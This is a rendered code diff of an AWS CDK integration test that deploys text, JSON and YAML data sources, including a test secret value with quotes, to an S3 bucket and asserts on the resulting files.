28
|
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
29
|
+
// Test various data source types with different content
|
|
30
|
+
const file1 = Source.data('file1.txt', 'boom');
|
|
31
|
+
const file2 = Source.data('path/to/file2.txt', `bam! ${this.bucket.bucketName}`);
|
|
32
|
+
const file3 = Source.jsonData('my-json/config.json', { website_url: this.bucket.bucketWebsiteUrl });
|
|
33
|
+
const file4 = Source.yamlData('my-yaml/config.yaml', { website_url: this.bucket.bucketWebsiteUrl });
|
|
34
|
+
const file5 = Source.jsonData('my-json/config2.json', { bucket_domain_name: this.bucket.bucketWebsiteDomainName });
|
|
44
35
|
|
|
45
|
-
//
|
|
46
|
-
const
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
36
|
+
// Test secret value with quotes that need escaping
|
|
37
|
+
const secret = new secretsmanager.Secret(this, 'TestSecret', {
|
|
38
|
+
generateSecretString: {
|
|
39
|
+
secretStringTemplate: JSON.stringify({
|
|
40
|
+
value: 'test"with"quotes',
|
|
41
|
+
}),
|
|
42
|
+
generateStringKey: 'password',
|
|
43
|
+
},
|
|
44
|
+
});
|
|
52
45
|
|
|
53
|
-
//
|
|
54
|
-
const
|
|
46
|
+
// Store secret in SSM (workaround for #21503)
|
|
47
|
+
const param = new ssm.StringParameter(this, 'SecretParam', {
|
|
48
|
+
stringValue: secret.secretValueFromJson('value').unsafeUnwrap(),
|
|
49
|
+
});
|
|
55
50
|
|
|
56
|
-
const
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
51
|
+
const tokenizedValue = param.stringValue; // This should be a Token
|
|
52
|
+
new CfnOutput(this, 'IsToken', { value: Token.isUnresolved(tokenizedValue).toString() });
|
|
53
|
+
new CfnOutput(this, 'SecretValue', { value: tokenizedValue });
|
|
54
|
+
|
|
55
|
+
// Test proper escaping of quotes in JSON
|
|
56
|
+
const file6 = Source.jsonData('my-json/secret-config.json', {
|
|
57
|
+
secret_value: tokenizedValue,
|
|
58
|
+
}, { escape: true });
|
|
59
|
+
// Test YAML file (which doesn't require escaping)
|
|
60
|
+
const file7 = Source.yamlData('my-yaml/secret-config.yaml', {
|
|
61
|
+
secret_value: tokenizedValue,
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
// Test empty string handling
|
|
65
|
+
const file8 = Source.data('file8.txt', '');
|
|
66
|
+
|
|
67
|
+
const deployment = new BucketDeployment(this, 'DeployWithDataSources', {
|
|
68
|
+
destinationBucket: this.bucket,
|
|
69
|
+
sources: [file1, file2],
|
|
70
|
+
destinationKeyPrefix: 'deploy/here/',
|
|
71
|
+
retainOnDelete: false,
|
|
72
|
+
});
|
|
73
|
+
// Test addSource() method
|
|
74
|
+
deployment.addSource(file3);
|
|
75
|
+
deployment.addSource(file4);
|
|
76
|
+
deployment.addSource(file5);
|
|
77
|
+
deployment.addSource(file6);
|
|
78
|
+
deployment.addSource(file7);
|
|
79
|
+
deployment.addSource(file8);
|
|
80
|
+
|
|
81
|
+
new CfnOutput(this, 'BucketName', { value: this.bucket.bucketName });
|
|
82
|
+
}
|
|
83
|
+
}
|
|
68
84
|
|
|
69
|
-
new
|
|
85
|
+
const app = new App({
|
|
86
|
+
postCliContext: {
|
|
87
|
+
'@aws-cdk/aws-lambda:useCdkManagedLogGroup': false,
|
|
88
|
+
},
|
|
89
|
+
});
|
|
90
|
+
const testCase = new TestBucketDeploymentData(app, 'test-bucket-deployment-data');
|
|
70
91
|
|
|
71
|
-
const
|
|
72
|
-
testCases: [
|
|
92
|
+
const integTest = new IntegTest(app, 'integ-test-bucket-deployment-data', {
|
|
93
|
+
testCases: [testCase],
|
|
73
94
|
});
|
|
74
95
|
|
|
75
|
-
//
|
|
76
|
-
const assertionProvider =
|
|
77
|
-
Bucket: bucket.bucketName,
|
|
96
|
+
// Assert that addSource() successfully adds the data source alongside the asset source
|
|
97
|
+
const assertionProvider = integTest.assertions.awsApiCall('S3', 'getObject', {
|
|
98
|
+
Bucket: testCase.bucket.bucketName,
|
|
78
99
|
Key: path.join('deploy/here', 'my-json/secret-config.json'),
|
|
79
100
|
});
|
|
80
101
|
|
|
@@ -85,8 +106,8 @@ assertionProvider.expect(ExpectedResult.objectLike({
|
|
|
85
106
|
}));
|
|
86
107
|
|
|
87
108
|
// Add assertions to verify the YAML file
|
|
88
|
-
const yamlAssertionProvider =
|
|
89
|
-
Bucket: bucket.bucketName,
|
|
109
|
+
const yamlAssertionProvider = integTest.assertions.awsApiCall('S3', 'getObject', {
|
|
110
|
+
Bucket: testCase.bucket.bucketName,
|
|
90
111
|
Key: path.join('deploy/here', 'my-yaml/secret-config.yaml'),
|
|
91
112
|
});
|
|
92
113
|
|